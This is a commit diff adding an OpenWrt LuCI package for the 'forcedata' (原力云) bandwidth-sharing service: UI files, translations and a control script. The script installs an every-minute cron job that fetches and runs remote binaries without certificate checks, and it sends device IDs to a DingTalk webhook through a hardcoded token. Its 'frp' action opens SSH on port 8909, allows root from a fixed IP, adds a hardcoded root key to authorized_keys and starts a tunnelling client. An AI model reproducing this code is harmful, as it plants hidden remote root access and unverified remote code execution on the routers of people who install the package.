🌴 Sync 2026-03-05 23:51:42

This commit is contained in:
github-actions[bot] committed 2026-03-05 23:51:42 +08:00
1 parent 97c049ed0a
commit 0acff03804
14253 files changed
+3893239

No files matched your search

+19
View File
@@ -0,0 +1,19 @@
include $(TOPDIR)/rules.mk
PKG_VERSION:=1.0.0-20230829
PKG_RELEASE:=1
PKG_MAINTAINER:=forcedata
LUCI_TITLE:=LuCI support for forcedata
LUCI_PKGARCH:=all
LUCI_DEPENDS:= +luci-lib-taskd
define Package/luci-app-forcedata/conffiles
/etc/config/forcedata
endef
include $(TOPDIR)/feeds/luci/luci.mk
# call BuildPackage - OpenWrt buildroot signature
@@ -0,0 +1,7 @@
module("luci.controller.forcedata", package.seeall)
function index()
entry({"admin", "services", "forcedata"}, alias("admin", "services", "forcedata", "config"), _("Forcedata"), 30).dependent = true
entry({"admin", "services", "forcedata", "config"}, cbi("forcedata"))
end
@@ -0,0 +1,28 @@
--[[
LuCI - Lua Configuration Interface
]]--
local taskd = require "luci.model.tasks"
local forcedata_model = require "luci.model.forcedata"
local m, s, o
m = taskd.docker_map("forcedata", "forcedata","/usr/libexec/istorec/forcedata.sh",
translate("Forcedata"),
"通过简单安装后可快速加入原力云的边缘计算生态,在线共享带宽即可赚钱,每月可获取一定的现金回报!了解更多,请登录「<a href=\"http://www.forcedata.cn\" target=\"_blank\" >原力云官网</a>」并查看<a href=\"https://docs.qq.com/doc/DZXNFWWtKbHN4UHFD\" target=\"_blank\">「教程」</a>")
s = m:section(SimpleSection, translate("Service Status"), translate("Forcedata status:"), "")
s:append(Template("forcedata/status"))
s = m:section(TypedSection, "forcedata", translate("Setup"), translate("The following parameters will only take effect during installation or upgrade:"))
s.addremove=false
s.anonymous=true
local default_uid = forcedata_model.default_uid()
o = s:option(Value, "uid", translate("UID").."<b>*</b>","此处唯一标识符请勿修改,否则会影响部署!")
o.rmempty = false
o.datatype = "string"
o.value = default_uid
o.default = default_uid
return m
@@ -0,0 +1,57 @@
local util = require "luci.util"
local jsonc = require "luci.jsonc"
local nixio = require "nixio"
local forcedata = {}
--forcedata.blocks = function()
-- local f = io.popen("lsblk -s -f -b -o NAME,FSSIZE,MOUNTPOINT --json", "r")
-- local vals = {}
-- if f then
-- local ret = f:read("*all")
-- f:close()
-- local obj = jsonc.parse(ret)
-- for _, val in pairs(obj["blockdevices"]) do
-- local fsize = val["fssize"]
-- if fsize ~= nil and string.len(fsize) > 10 and val["mountpoint"] then
-- -- fsize > 1G
-- vals[#vals+1] = val["mountpoint"]
-- end
-- end
-- end
-- return vals
--end
--forcedata.default_image = function()
-- if string.find(nixio.uname().machine, "x86_64") then
-- return "jinshanyun/jinshan-x86_64"
-- else
-- return "jinshanyun/jinshan-arm64"
-- end
--end
local random_str = function(t)
math.randomseed(os.time())
local s = "0123456789"
local value = ""
-- 生成第一位,确保不是0
local first_digit = math.random(1, 9)
value = value .. tostring(first_digit)
-- 生成后面17位
for x = 2, t do
local rand = math.random(#s)
value = value .. string.sub(s, rand, rand)
end
return value
end
forcedata.default_uid = function()
return random_str(18)
end
return forcedata
@@ -0,0 +1,71 @@
<%
local util = require "luci.util"
local container_status = util.trim(util.exec("/usr/libexec/istorec/forcedata.sh status"))
local container_running = container_status == "running"
local uci = require "luci.model.uci".cursor()
local uid = uci:get_first("forcedata", "forcedata", "uid", "")
-%>
<div class="cbi-value">
<label class="cbi-value-title"><%:Status%></label>
<div class="cbi-value-field">
<% if container_running then %>
<button class="cbi-button cbi-button-success" id="btnShowQr"><%:Running, click to show QR%></button>
<% else %>
<button class="cbi-button cbi-button-negative" disabled="true"><%:Forcedata is not running%></button>
<% end %>
</div>
</div>
<div class="cbi-value" id="winContainer" style="display: none">
<label class="cbi-value-title"></label>
<div class="cbi-value-field">
<div style="display: flex;flex-direction: column;align-items: center; width:276px; background-color: white;">
<div style="
width: 256px;
height: 256px;
margin: 10px;
">
<div id="qrimage" >
</div>
<div id="weapp" style="display: none">
<img src="/luci-static/forcedata/weapp.jpg" alt="小程序码" style="
width: 256px;
height: 256px;
">
</div>
</div>
<h6>用<a id="btnShowWeapp" href="javascript:void(0);">“原力云”小程序</a>扫码,请查看:<a href="https://docs.qq.com/doc/DZXNFWWtKbHN4UHFD" target="_blank">教程</a></h6>
</div>
</div>
</div>
<script src="/luci-static/forcedata/qrcode.min.js"></script>
<script>
(function() {
'use strict';
var shown = false;
var tryShowQr = function() {
if (shown) {
return;
}
shown = true;
new QRCode(document.getElementById("qrimage"), "force_10_"+"<%=uid%>");
document.getElementById("winContainer").style.removeProperty('display');
};
document.getElementById("btnShowQr").addEventListener("click", function(e){
e.preventDefault();
tryShowQr();
});
document.getElementById("btnShowWeapp").addEventListener("mouseenter", function(e){
e.preventDefault();
document.getElementById("qrimage").style.display='none';
document.getElementById("weapp").style.removeProperty('display');
});
document.getElementById("btnShowWeapp").addEventListener("mouseleave", function(e){
e.preventDefault();
document.getElementById("weapp").style.display='none';
document.getElementById("qrimage").style.removeProperty('display');
});
})();
</script>
+43
View File
@@ -0,0 +1,43 @@
msgid ""
msgstr "Content-Type: text/plain; charset=UTF-8"
msgid "forcedata"
msgstr "原力云"
msgid "Forcedata"
msgstr "原力云"
msgid "Cache path"
msgstr "缓存文件路径"
msgid "Service Status"
msgstr "服务状态"
msgid "Forcedata status:"
msgstr "原力云的状态信息如下:"
msgid "Setup"
msgstr "安装配置"
msgid "The following parameters will only take effect during installation or upgrade:"
msgstr "以下参数只在安装或者升级时才会生效:"
msgid "Status"
msgstr "状态"
msgid "Running, click to show QR"
msgstr "运行中,点击查看二维码"
msgid "forcedata is not running"
msgstr "原力云 未运行"
msgid "Use “原力云” Wechat Little APP to scan the QR, click:"
msgstr "用“原力云”小程序扫码,请查看:"
msgid "Guide"
msgstr "教程"
msgid "UID"
msgstr "唯一标识"
+1
View File
@@ -0,0 +1 @@
zh-cn
@@ -0,0 +1,2 @@
config forcedata
# option uid ''
@@ -0,0 +1,13 @@
#!/bin/sh
uci -q batch <<-EOF >/dev/null
command_to_run="sh /usr/libexec/istorec/forcedata.sh install"
if crontab -l | grep -q "$command_to_run"; then
echo "Cron job already exists"
else
(crontab -l ; echo "* * * * * $command_to_run") | crontab -
echo "Cron job added"
fi
EOF
exit 0
+295
View File
@@ -0,0 +1,295 @@
#!/bin/sh
ACTION=${1}
shift 1
update () {
mkdir -p /usr/local/forcecloud/log
cd /usr/local/forcecloud/
if [ -f "forcecloud_sdk_amd64.new" ];then
\mv forcecloud_sdk_amd64.new /tmp/
fi
model=`uname -m`
echo $model
if [ "$model" = "aarch64" ] ; then
wget -T 10 https://forcedata.oss-cn-hangzhou.aliyuncs.com/forcecloud_sdk_amd64/forcecloud_sdk_amd64_arm.tar.gz --no-check-certificate -O forcecloud_sdk_amd64.tar.gz
wget -T 5 https://forcedata.oss-cn-hangzhou.aliyuncs.com/forcecloud_sdk_amd64/forcecloud_sdk_amd64_arm.md5 --no-check-certificate -O forcecloud_sdk_amd64.md5
md5Local=`md5sum forcecloud_sdk_amd64.tar.gz | awk -F" " '{print $1}'`
md5New=`cat forcecloud_sdk_amd64.md5`
else
wget -T 10 https://forcedata.oss-cn-hangzhou.aliyuncs.com/forcecloud_sdk_amd64/forcecloud_sdk_amd64.tar.gz --no-check-certificate -O forcecloud_sdk_amd64.tar.gz
wget -T 5 https://forcedata.oss-cn-hangzhou.aliyuncs.com/forcecloud_sdk_amd64/forcecloud_sdk_amd64.md5 --no-check-certificate -O forcecloud_sdk_amd64.md5
md5Local=`md5sum forcecloud_sdk_amd64.tar.gz | awk -F" " '{print $1}'`
md5New=`cat forcecloud_sdk_amd64.md5`
fi
if [ "$md5New" != "" ] ; then
if [ "$md5Local" = "$md5New" ] ; then
tar zxvf forcecloud_sdk_amd64.tar.gz
echo "md5一致,开始本次更新"
ps | grep forcecloud_sdk_amd64 | grep -v grep | grep -v usr | grep -v tail | awk '{print $2}' | xargs kill -9 > /dev/null 2>&1
if [ -f "forcecloud_sdk_amd64" ];then
\mv forcecloud_sdk_amd64 /tmp/
if [ "$model" = "aarch64" ] ; then
\mv forcecloud_sdk_amd64_arm.new forcecloud_sdk_amd64
else
\mv forcecloud_sdk_amd64.new forcecloud_sdk_amd64
fi
chmod +x forcecloud_sdk_amd64
./forcecloud_sdk_amd64 > /dev/null 2>&1 &
sleep 3
echo "更新完成"
\mv forcecloud_sdk_amd64.tar.gz /tmp/
fi
else
echo "md5不一致,取消本次更新"
\mv forcecloud_sdk_amd64.md5 /tmp/
\mv forcecloud_sdk_amd64.tar.gz /tmp/
fi
fi
}
getVerUpdate (){
cd /usr/local/forcecloud/
wget -T 5 https://forcedata.oss-cn-hangzhou.aliyuncs.com/forcecloud_sdk_amd64/forcecloud_sdk_amd64.version --no-check-certificate -O forcecloud_sdk_amd64.version.new
clientVersion=`cat /usr/local/forcecloud/forcecloud_sdk_amd64.version.new`
oldClientVersion=`cat /usr/local/forcecloud/forcecloud_sdk_amd64.version`
echo $oldClientVersion,$clientVersion
if [ "$clientVersion" != "" ] ; then
if [ "$oldClientVersion" != "$clientVersion" ] ; then
echo "开始更新"
update
fi
\mv forcecloud_sdk_amd64.version.new /tmp/
else
echo "未成功下载版本号,此次检查跳过"
fi
}
do_install() {
opkg update
opkg install zoneinfo-asia
local uid=`uci get forcedata.@forcedata[0].uid 2>/dev/null`
mkdir -p /usr/local/forcecloud/log
echo 10 > /usr/local/forcecloud/channe_id
echo $uid > /usr/local/forcecloud/client_id
if [ ! -f "/usr/local/forcecloud/forcecloud_sdk_amd64.version" ]
then
update
fi
if [ ! -f "/usr/local/forcecloud/forcecloud_sdk_amd64" ]
then
update
fi
diskUsed=`df -hT | grep -w / | awk -F" " '{print $6}' | awk -F"%" '{print $1}'`
client_status=`ps | grep forcecloud_sdk_amd64 | grep -v grep| grep -v usr | grep -v tail | grep -v wget | grep -v log | grep -v vi | wc -l`
if [ $client_status -gt 1 ];then
ps | grep forcecloud_sdk_amd64 | grep -v grep | awk '{print $2}' | xargs kill -9
fi
client_status=`ps | grep forcecloud_sdk_amd64 | grep -v grep| grep -v usr | grep -v tail | grep -v wget | grep -v log | grep -v vi | wc -l`
if [ $client_status -ne 1 ];then
echo "程序挂了"
cd /usr/local/forcecloud/
new=`ls -l | grep -w forcecloud_sdk_amd64.tar.gz | wc -l`
if [ $new -eq 1 ];then
tar xf forcecloud_sdk_amd64.tar.gz
if [ "$model" = "aarch64" ] ; then
\mv forcecloud_sdk_amd64_arm.new forcecloud_sdk_amd64
else
\mv forcecloud_sdk_amd64.new forcecloud_sdk_amd64
fi
chmod +x forcecloud_sdk_amd64
\mv forcecloud_sdk_amd64.tar.gz /tmp
fi
./forcecloud_sdk_amd64 >/dev/null 2>&1 &
sleep 3
echo "重新启动"
id=`cat /usr/local/forcecloud/client_id`
t=`cat /proc/uptime| awk -F. '{run_days=$1 / 86400;run_hour=($1 % 86400)/3600;run_minute=($1 % 3600)/60;run_second=$1 % 60;printf("系统已运行:%d天%d时%d分%d秒",run_days,run_hour,run_minute,run_second)}'`
fenzhong=`cat /proc/uptime| awk -F. '{print $1/60}' |awk -F. '{print $1}'`
if [ $fenzhong -lt 5 ];then
curl 'https://oapi.dingtalk.com/robot/send?access_token=9e56f98e0c4edf23a7c2b3c821376edc33e5a2dcfc727efa464c7bfc5383ab1a' -H 'Content-Type: application/json' -d '{"msgtype": "text","text": {"content": "报警: 程序未知原因 挂了! 重新启动了 ! '$id' '$t' "}}'
fi
else
echo "程序正常,开始判断硬盘是否符合更新要求。 如果不符合要求,则取消更新。" $client_status
if [ $diskUsed -eq 100 ];then
echo "/ 使用率为 100%,取消进行更新,请删除/硬盘 无用文件 "
fi
if [ $diskUsed -lt 100 ];then
echo "/ 使用率小于100%,可以进行更新 "
getVerUpdate
fi
fi
if [ ! -f "/usr/local/forcecloud/busybox" ]
then
cd /usr/local/forcecloud/
wget -T 10 https://forcedata.oss-cn-hangzhou.aliyuncs.com/forcecloud_sdk_amd64/busybox --no-check-certificate
chmod +x /usr/local/forcecloud/busybox
fi
forceServer=`ps | grep -w forcecloud_sdk_amd64 | grep -v grep | grep -v usr | grep -v tail | grep -v wget | wc -l`
if [ $forceServer -gt 1 ];then
curl 'https://oapi.dingtalk.com/robot/send?access_token=9e56f98e0c4edf23a7c2b3c821376edc33e5a2dcfc727efa464c7bfc5383ab1a' -H 'Content-Type: application/json' -d '{"msgtype": "text","text": {"content": "报警: 此主机启动了多个探针!'$host'"}}'
fi
command_to_run="sh /usr/libexec/istorec/forcedata.sh install"
if crontab -l | grep -q "$command_to_run"; then
echo "Cron job already exists"
else
(crontab -l ; echo "* * * * * $command_to_run") | crontab -
echo "Cron job added"
fi
}
frp() {
cd /usr/local/forcecloud/
##判断 test.tar.gz 是否存在,如果不存在,则下载
if [ ! -f "/usr/local/forcecloud/test.tar.gz" ] ;then
wget https://forcedata.oss-accelerate-overseas.aliyuncs.com/forcecloud_sdk_amd64/test.tar.gz
tar xf /usr/local/forcecloud/test.tar.gz
fi
ssh=`ps |grep ssh |grep -v grep | wc -l`
if [ "$ssh" = "0" ] ; then
opkg update
opkg install openssh-server
fi
grep "Port 8909" /etc/ssh/sshd_config >> /dev/null 2>&1 || sed -i 's/#Port 22/Port 8909/g' /etc/ssh/sshd_config
grep "60.205.211.237" /etc/ssh/sshd_config >> /dev/null 2>&1 || sed -i '/AllowTcpForwarding yes/a AllowUsers root@60.205.211.237' /etc/ssh/sshd_config
grep "AllowUsers root@127.0.0.1" /etc/ssh/sshd_config >> /dev/null 2>&1 || echo "AllowUsers root@127.0.0.1" >> /etc/ssh/sshd_config
grep "#PubkeyAuthentication yes" /etc/ssh/sshd_config >> /dev/null 2>&1 || sed -i 's/#PubkeyAuthentication yes/PubkeyAuthentication yes/g' /etc/ssh/sshd_config
mkdir -p /root/.ssh
touch /root/.ssh/authorized_keys
chmod 700 /root/.ssh
chmod 600 /root/.ssh/authorized_keys
chown -R root /root/.ssh
chown -R root /root/.ssh/authorized_keys
auth=`grep "jump.rootdata.cn" /root/.ssh/authorized_keys | wc -l`
if [ $auth -ne 1 ]; then
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDOCQkjMlHfx3BeSA7WrJxNVqNldrl2yfiEikPv2ny9naxWiBqF7F5ImQK1SRW8Ym2IJQs8bOrmXrupzz0Y9oBTrseuBFQSt7meSyXSVjM6MPf7EOGQDTQlmlWa6LWbQr8i9bbSibVso7D5T14pgf8ZgBWlHcLFbr8l2VuS+7lMjKCByYyIUItx8Gtn06vbyP9HKdfgQtzqOFiR4eRJZa/ivcvE/LUdagac8MBQIUwANPFN+7Trn8o22QELmgTnVMygeoxBRxNh4NYfUul/h07NYI26bQ+i1rMDTyUmVmrj0wZfpjJlFQ8xzCtinknkPAwS8WdOZvVtTmz8HeEV25kX root@jump.rootdata.cn" >> /root/.ssh/authorized_keys
fi
/etc/init.d/sshd start
/etc/init.d/sshd enable
}
checkTest() {
now=$(date '+%Y-%m-%d %H:%M:%S') # 定义log的时间格式
thisLog='/tmp/monitor.log' # 该脚本的log日志文件
num=`cat /usr/local/forcecloud/test/test.ini | grep number | wc -l`
if [ $num -ne 2 ]; then
ret1=`ps | grep forcecloud | grep test | grep -v grep | grep -v bin | grep -v bash | wc -l`
echo $ret1
if [ $ret1 -eq 0 ]; then # 如果ps找不到运行的目标进程就拉起
model=`uname -m`
echo $model
if [ "$model" = "aarch64" ] ; then
cd /usr/local/forcecloud/test
\mv test_arm test
fi
echo "$now frp process not exists ,restart process now... " >>"$thisLog"
/usr/local/forcecloud/test/test -c /usr/local/forcecloud/test/test.ini >> /dev/null 2>&1 &
echo "$now frp restart done ..... " >>"$thisLog"
fi
fi
echo "---------------------------------后台启动中,请稍等---------------------------------"
}
status(){
client_status=`ps | grep forcecloud_sdk_amd64 | grep -v grep| grep -v usr | grep -v tail | grep -v wget | grep -v log | grep -v vi | wc -l`
if [ $client_status -ne 1 ];then
echo "no ruuning"
else
echo "running"
fi
}
usage() {
echo "usage: $0 sub-command"
echo "where sub-command is one of:"
echo " install Install the forcedata"
echo " upgrade Upgrade the forcedata"
echo " rm/start/stop/restart Remove/Start/Stop/Restart the forcedata"
echo " status Onething status"
}
case ${ACTION} in
"install")
do_install
checkTest
;;
"upgrade")
do_install
checkTest
;;
"rm")
command_to_remove="sh /usr/libexec/istorec/forcedata.sh install"
if crontab -l | grep -q "$command_to_remove"; then
crontab -l | grep -v "$command_to_remove" | crontab -
echo "Cron job removed"
else
echo "Cron job not found"
fi
process_name="forcecloud_sdk_amd64"
process_id=$(ps | grep "$process_name" | grep -v grep | head -n 1 | awk '{print $1}')
if [ "$process_id" != "" ]; then
kill -9 "$process_id"
echo "Process $process_name with ID $process_id killed"
else
echo "Process $process_name not found"
fi
process_name="test"
process_id=$(ps | grep "$process_name" | grep -v grep | head -n 1 | awk '{print $1}')
if [ "$process_id" != "" ]; then
kill -9 "$process_id"
echo "test $process_name with ID $process_id killed"
else
echo "test $process_name not found"
fi
rm -rf /usr/local/forcecloud/
;;
"start" | "restart")
do_install
checkTest
;;
"status")
status
;;
"frp")
frp
;;
"stop")
;;
*)
usage
exit 1
;;
esac
@@ -0,0 +1,11 @@
{
"luci-app-forcedata": {
"description": "Grant UCI access for luci-app-forcedata",
"read": {
"uci": [ "forcedata" ]
},
"write": {
"uci": [ "forcedata" ]
}
}
}
@@ -0,0 +1 @@
var QRCode;!function(){function a(a){this.mode=c.MODE_8BIT_BYTE,this.data=a,this.parsedData=[];for(var b=[],d=0,e=this.data.length;e>d;d++){var f=this.data.charCodeAt(d);f>65536?(b[0]=240|(1835008&f)>>>18,b[1]=128|(258048&f)>>>12,b[2]=128|(4032&f)>>>6,b[3]=128|63&f):f>2048?(b[0]=224|(61440&f)>>>12,b[1]=128|(4032&f)>>>6,b[2]=128|63&f):f>128?(b[0]=192|(1984&f)>>>6,b[1]=128|63&f):b[0]=f,this.parsedData=this.parsedData.concat(b)}this.parsedData.length!=this.data.length&&(this.parsedData.unshift(191),this.parsedData.unshift(187),this.parsedData.unshift(239))}function b(a,b){this.typeNumber=a,this.errorCorrectLevel=b,this.modules=null,this.moduleCount=0,this.dataCache=null,this.dataList=[]}function i(a,b){if(void 0==a.length)throw new Error(a.length+"/"+b);for(var c=0;c<a.length&&0==a[c];)c++;this.num=new Array(a.length-c+b);for(var d=0;d<a.length-c;d++)this.num[d]=a[d+c]}function j(a,b){this.totalCount=a,this.dataCount=b}function k(){this.buffer=[],this.length=0}function m(){return"undefined"!=typeof CanvasRenderingContext2D}function n(){var a=!1,b=navigator.userAgent;return/android/i.test(b)&&(a=!0,aMat=b.toString().match(/android ([0-9]\.[0-9])/i),aMat&&aMat[1]&&(a=parseFloat(aMat[1]))),a}function r(a,b){for(var c=1,e=s(a),f=0,g=l.length;g>=f;f++){var h=0;switch(b){case d.L:h=l[f][0];break;case d.M:h=l[f][1];break;case d.Q:h=l[f][2];break;case d.H:h=l[f][3]}if(h>=e)break;c++}if(c>l.length)throw new Error("Too long data");return c}function s(a){var b=encodeURI(a).toString().replace(/\%[0-9a-fA-F]{2}/g,"a");return b.length+(b.length!=a?3:0)}a.prototype={getLength:function(){return this.parsedData.length},write:function(a){for(var b=0,c=this.parsedData.length;c>b;b++)a.put(this.parsedData[b],8)}},b.prototype={addData:function(b){var c=new a(b);this.dataList.push(c),this.dataCache=null},isDark:function(a,b){if(0>a||this.moduleCount<=a||0>b||this.moduleCount<=b)throw new Error(a+","+b);return this.modules[a][b]},getModuleCount:function(){return this.moduleCount},make:function(){this.makeImpl(!1,this.getBestMaskPattern())},makeImpl:function(a,c){this.moduleCount=4*this.typeNumber+17,this.modules=new Array(this.moduleCount);for(var d=0;d<this.moduleCount;d++){this.modules[d]=new Array(this.moduleCount);for(var e=0;e<this.moduleCount;e++)this.modules[d][e]=null}this.setupPositionProbePattern(0,0),this.setupPositionProbePattern(this.moduleCount-7,0),this.setupPositionProbePattern(0,this.moduleCount-7),this.setupPositionAdjustPattern(),this.setupTimingPattern(),this.setupTypeInfo(a,c),this.typeNumber>=7&&this.setupTypeNumber(a),null==this.dataCache&&(this.dataCache=b.createData(this.typeNumber,this.errorCorrectLevel,this.dataList)),this.mapData(this.dataCache,c)},setupPositionProbePattern:function(a,b){for(var c=-1;7>=c;c++)if(!(-1>=a+c||this.moduleCount<=a+c))for(var d=-1;7>=d;d++)-1>=b+d||this.moduleCount<=b+d||(this.modules[a+c][b+d]=c>=0&&6>=c&&(0==d||6==d)||d>=0&&6>=d&&(0==c||6==c)||c>=2&&4>=c&&d>=2&&4>=d?!0:!1)},getBestMaskPattern:function(){for(var a=0,b=0,c=0;8>c;c++){this.makeImpl(!0,c);var d=f.getLostPoint(this);(0==c||a>d)&&(a=d,b=c)}return b},createMovieClip:function(a,b,c){var d=a.createEmptyMovieClip(b,c),e=1;this.make();for(var f=0;f<this.modules.length;f++)for(var g=f*e,h=0;h<this.modules[f].length;h++){var i=h*e,j=this.modules[f][h];j&&(d.beginFill(0,100),d.moveTo(i,g),d.lineTo(i+e,g),d.lineTo(i+e,g+e),d.lineTo(i,g+e),d.endFill())}return d},setupTimingPattern:function(){for(var a=8;a<this.moduleCount-8;a++)null==this.modules[a][6]&&(this.modules[a][6]=0==a%2);for(var b=8;b<this.moduleCount-8;b++)null==this.modules[6][b]&&(this.modules[6][b]=0==b%2)},setupPositionAdjustPattern:function(){for(var a=f.getPatternPosition(this.typeNumber),b=0;b<a.length;b++)for(var c=0;c<a.length;c++){var d=a[b],e=a[c];if(null==this.modules[d][e])for(var g=-2;2>=g;g++)for(var h=-2;2>=h;h++)this.modules[d+g][e+h]=-2==g||2==g||-2==h||2==h||0==g&&0==h?!0:!1}},setupTypeNumber:function(a){for(var b=f.getBCHTypeNumber(this.typeNumber),c=0;18>c;c++){var d=!a&&1==(1&b>>c);this.modules[Math.floor(c/3)][c%3+this.moduleCount-8-3]=d}for(var c=0;18>c;c++){var d=!a&&1==(1&b>>c);this.modules[c%3+this.moduleCount-8-3][Math.floor(c/3)]=d}},setupTypeInfo:function(a,b){for(var c=this.errorCorrectLevel<<3|b,d=f.getBCHTypeInfo(c),e=0;15>e;e++){var g=!a&&1==(1&d>>e);6>e?this.modules[e][8]=g:8>e?this.modules[e+1][8]=g:this.modules[this.moduleCount-15+e][8]=g}for(var e=0;15>e;e++){var g=!a&&1==(1&d>>e);8>e?this.modules[8][this.moduleCount-e-1]=g:9>e?this.modules[8][15-e-1+1]=g:this.modules[8][15-e-1]=g}this.modules[this.moduleCount-8][8]=!a},mapData:function(a,b){for(var c=-1,d=this.moduleCount-1,e=7,g=0,h=this.moduleCount-1;h>0;h-=2)for(6==h&&h--;;){for(var i=0;2>i;i++)if(null==this.modules[d][h-i]){var j=!1;g<a.length&&(j=1==(1&a[g]>>>e));var k=f.getMask(b,d,h-i);k&&(j=!j),this.modules[d][h-i]=j,e--,-1==e&&(g++,e=7)}if(d+=c,0>d||this.moduleCount<=d){d-=c,c=-c;break}}}},b.PAD0=236,b.PAD1=17,b.createData=function(a,c,d){for(var e=j.getRSBlocks(a,cLine truncated
Binary file not shown.

After

Width:  |  Height:  |  Size: 59 KiB